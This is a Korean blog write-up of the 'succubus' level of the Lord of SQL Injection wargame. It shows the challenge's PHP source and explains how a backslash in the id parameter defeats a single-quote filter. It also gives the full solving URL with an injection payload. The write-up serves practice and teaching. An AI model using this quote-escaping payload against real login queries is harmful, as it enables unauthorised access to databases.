[LOS] 16. Succubus

고둑·2021년 7월 16일
0

LoS

목록 보기
16/21

힌트

  • SQL 인젝션을 시도하기 위해서는 '를 무력화 시켜야한다.
  • 문자로 '를 사용하려면 무슨 짓을 해야할까??

풀이

코드 해석

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

idpw를 모두 '로 감싸고 '를 필터링하였다.
그렇다고 블라인드 인젝션을 하고 싶지도 않은 소스 코드다.

그렇다면 id쪽 끝 '를 문자화시키면 pw쪽에서 자유롭게 인젝션이 가능하다.

문제 풀이

문자열로 변경

특수문자를 문자열처럼 사용하려면 특수 문자 앞에 \를 붙여주면 된다.
id\를 넣어주게 되면 select id from prob_succubus where id='\' and pw='', 즉 id' and pw=라는 값을 인자로 가지게 된다. 그리고 뒤에 pw 인젝션으로 공격하고 주석으로 남은 '를 처리해주면 문제는 해결된다.

https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php?id=\&pw=||id=%22admin%22%23

profile
문워킹은 하지말자

0개의 댓글